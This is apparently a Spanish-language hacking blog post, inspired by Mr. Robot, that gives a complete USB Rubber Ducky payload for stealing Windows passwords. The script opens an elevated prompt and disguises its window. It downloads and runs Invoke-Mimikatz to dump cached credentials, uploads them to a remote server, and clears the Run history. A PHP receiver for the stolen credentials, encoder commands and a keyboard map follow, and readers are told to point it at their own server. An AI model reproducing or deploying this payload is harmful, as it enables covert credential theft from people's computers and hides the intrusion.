🔥Adquiere tu membresía:  acceso a todos los cursos, videos eliminados, contenidos protegidos, manuales y más. >> Ver Más

Hackeando contraseñas con el USB Rubber Ducky como en Mr.Robot

Este episodio de HackWise se inspira en la serie de mr.robot al ver una pequeña escena donde obtienen las contraseñas de una máquina Windows con tan solo 15 segundos de acceso físico en la computadora de la víctima.
Utilizaremos el USB Rubber ducky creado por Darren Kitchen de Hak5 con un payload que utiliza la herramienta Mimikatz para obtener los usuarios y contraseñas almacenadas en el caché de la memoria RAM de la víctima.

Video – Hackeando contraseñas con el USB Rubber Ducky como en Mr.Robot:

Este es el código que utilizamos para el payload del rubber ducky:

REM Title: Invoke mimikatz and send creds to remote server
REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi
DELAY 1000
REM Open an admin command prompt 
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 1000
REM Obfuscate the command prompt
STRING mode con:cols=18 lines=1
ENTER
STRING color FE
ENTER
REM Download and execute Invoke Mimikatz then upload the results
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://hackwise.mx/h/rubber/Mimikatz/', $output)"
ENTER
DELAY 15000
REM Clear the Run history and exit
STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
ENTER
STRING exit
ENTER

**No olviden cambiar los siguientes enlaces para que se hospeden en su servidor:

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1
http://hackwise.mx/h/rubber/Mimikatz/

Descarga el duck encoder desde: https://github.com/hak5darren/USB-Rubber-Ducky

Código en PHP para capturar las contraseñas y almacenarlas en nuestro servidor. 

<?php
$file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds";
file_put_contents($file, file_get_contents("php://input"));
?>

Comandos para generar el payload inject.bin para el rubber ducky:

#Comando para generar el ducky script para computadoras en español
java -jar ./encoder.jar -i inject -o inject.bin -l es.properties 

#Comando para generar el ducky script para computadoras en ingles
java -jar ./encoder.jar -i inject -o inject.bin 

Contenido del archivo es.properties para poder generar ducky scripts para teclados en español.

// Author: Midnitesnake
// 01-11-2014
// LAYOUT_ESPANOL
// Based from Italian Keymap
// Thanks to Jaime.AlvarezdeAldecoa for patches
// Characters fixed by DragsterPS
// Fixes for Mac by Matto

KEY_NON_US_100 = 100

ASCII_20 = KEY_SPACE
// 32
ASCII_21 = KEY_1, MODIFIERKEY_SHIFT
// 33 !
ASCII_22 = KEY_2, MODIFIERKEY_SHIFT
// 34 
ASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT
// 35 #
ASCII_24 = KEY_4, MODIFIERKEY_SHIFT
// 36 $
ASCII_25 = KEY_5, MODIFIERKEY_SHIFT
// 37 %
ASCII_26 = KEY_6, MODIFIERKEY_SHIFT
// 38 &
ASCII_27 = KEY_MINUS
// 39 
ASCII_28 = KEY_8, MODIFIERKEY_SHIFT
// 40 (
ASCII_29 = KEY_9, MODIFIERKEY_SHIFT
// 41 )
ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT
// 42 *
ASCII_2B = KEY_RIGHT_BRACE
// 43 +
ASCII_2C = KEY_COMMA
// 44 ,
ASCII_2D = KEY_SLASH
// 45 
ASCII_2E = KEY_PERIOD
// 46 .
ASCII_2F = KEY_7, MODIFIERKEY_SHIFT
// 47 /
ASCII_30 = KEY_0
// 48 0
ASCII_31 = KEY_1
// 49 1
ASCII_32 = KEY_2
// 50 2
ASCII_33 = KEY_3
// 51 3
ASCII_34 = KEY_4
// 52 4
ASCII_35 = KEY_5
// 53 5
ASCII_36 = KEY_6
// 54 6
ASCII_37 = KEY_7
// 55 7
ASCII_38 = KEY_8
// 56 8
ASCII_39 = KEY_9
// 57 9
ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT
// 58 :
ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT
// 59 ;
ASCII_3C = KEY_TILDE
// 60 <
ASCII_3D = KEY_0, MODIFIERKEY_SHIFT
// 61 =
ASCII_3E = KEY_TILDE, MODIFIERKEY_SHIFT
// 62 >
ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT
// 63 ?
ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT
// 64 @
ASCII_41 = KEY_A, MODIFIERKEY_SHIFT
// 65 A
ASCII_42 = KEY_B, MODIFIERKEY_SHIFT
// 66 B
ASCII_43 = KEY_C, MODIFIERKEY_SHIFT
// 67 C
ASCII_44 = KEY_D, MODIFIERKEY_SHIFT
// 68 D
ASCII_45 = KEY_E, MODIFIERKEY_SHIFT
// 69 E
ASCII_46 = KEY_F, MODIFIERKEY_SHIFT
// 70 F
ASCII_47 = KEY_G, MODIFIERKEY_SHIFT
// 71 G
ASCII_48 = KEY_H, MODIFIERKEY_SHIFT
// 72 H
ASCII_49 = KEY_I, MODIFIERKEY_SHIFT
// 73 I
ASCII_4A = KEY_J, MODIFIERKEY_SHIFT
// 74 J
ASCII_4B = KEY_K, MODIFIERKEY_SHIFT
// 75 K
ASCII_4C = KEY_L, MODIFIERKEY_SHIFT
// 76 L
ASCII_4D = KEY_M, MODIFIERKEY_SHIFT
// 77 M
ASCII_4E = KEY_N, MODIFIERKEY_SHIFT
// 78 N
ASCII_4F = KEY_O, MODIFIERKEY_SHIFT
// 79 O
ASCII_50 = KEY_P, MODIFIERKEY_SHIFT
// 80 P
ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT
// 81 Q
ASCII_52 = KEY_R, MODIFIERKEY_SHIFT
// 82 R
ASCII_53 = KEY_S, MODIFIERKEY_SHIFT
// 83 S
ASCII_54 = KEY_T, MODIFIERKEY_SHIFT
// 84 T
ASCII_55 = KEY_U, MODIFIERKEY_SHIFT
// 85 U
ASCII_56 = KEY_V, MODIFIERKEY_SHIFT
// 86 V
ASCII_57 = KEY_W, MODIFIERKEY_SHIFT
// 87 W
ASCII_58 = KEY_X, MODIFIERKEY_SHIFT
// 88 X
ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT
// 89 Y
ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT
// 90 Z
ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT
// 91 [
ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT
// 92 \

ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT
// 93 ]
ASCII_5E = KEY_EQUAL, MODIFIERKEY_SHIFT
// 94 ^
ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT
// 95 _

// ascii 60, 96: accento grave, non mappato
ASCII_61 = KEY_A
// 97 a
ASCII_62 = KEY_B
// 98 b
ASCII_63 = KEY_C
// 99 c
ASCII_64 = KEY_D
// 100 d
ASCII_65 = KEY_E
// 101 e
ASCII_66 = KEY_F
// 102 f
ASCII_67 = KEY_G
// 103 g
ASCII_68 = KEY_H
// 104 h
ASCII_69 = KEY_I
// 105 i
ASCII_6A = KEY_J
// 106 j
ASCII_6B = KEY_K
// 107 k
ASCII_6C = KEY_L
// 108 l
ASCII_6D = KEY_M
// 109 m
ASCII_6E = KEY_N
// 110 n
ASCII_6F = KEY_O
// 111 o
ASCII_70 = KEY_P
// 112 p
ASCII_71 = KEY_Q
// 113 q
ASCII_72 = KEY_R
// 114 r
ASCII_73 = KEY_S
// 115 s
ASCII_74 = KEY_T
// 116 t
ASCII_75 = KEY_U
// 117 u
ASCII_76 = KEY_V
// 118 v
ASCII_77 = KEY_W
// 119 w
ASCII_78 = KEY_X
// 120 x
ASCII_79 = KEY_Y
// 121 y
ASCII_7A = KEY_Z
// 122 z
ASCII_7B = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT
// 123 {
ASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT
// 124 |
ASCII_7D = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT
// 125 }
ASCII_7E = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT
// 126 ~
ISO_8859_1_BA = KEY_NON_US_100
// 127 º

// ascii 7E, 126: tilde, non mappato
ISO_8859_1_E0 = KEY_QUOTE
// 192 a grave
ISO_8859_1_E8 = KEY_LEFT_BRACE
// 232 e grave
ISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT
// 233 e acuta
ISO_8859_1_EC = KEY_EQUAL
// 236 i grave
ISO_8859_1_F2 = KEY_SEMICOLON
// 242 o grave
ISO_8859_1_F9 = KEY_BACKSLASH
// 249 u grave

ISO_8859_1_F1 = KEY_SEMICOLON  
ISO_8859_1_D1 = KEY_SEMICOLON, MODIFIERKEY_SHIFT  

Si tienes dudas, puedes dejar tus comentarios y con gusto te ayudaré 😀

6 thoughts on "Hackeando contraseñas con el USB Rubber Ducky como en Mr.Robot"

  1. Hola Hackwise, oye pregunta habra forma de que hagas un video creando tu propio USB RUBBER DUCKY?

    1. Hola, esta en la lista de proyectos a hacer. Saludos !

  2. hola buenas noches, no he recibido el correo de confirmación y ya tengo mi cuenta premium, me podrian ayudar por favor?

  3. solo membresías pueden ver los videos??

  4. Oye cesar. disculpa necesito de tu ayuda, Tengo problemas con tu script de php que pusiste arriba. podrias explicar un poco mejor eso?. ya lo subi a mi localhost y ejecute los comandos de powershell necesarios para mandar el POST. solo quiero saber que comando usaste tu para recibir los datos de UPLOADSTRING.

    Gracias. atte. Manuel Ponce

    1. Ya lo repare :). Mira les explico:
      hay un error porque mi host lo estoy corriendo en Ubuntu. y la carpeta donde tenia el archivo que captura los datos no tenia permisos de escritura si no es por root. lo arreglé usando el comando: chmod 777 [carpeta]

Deja un comentario

Adquiere tu Membresía Anual Wiser

Adquiere tu Membresía Anual Wiser y adquiere grandes beneficios

Más información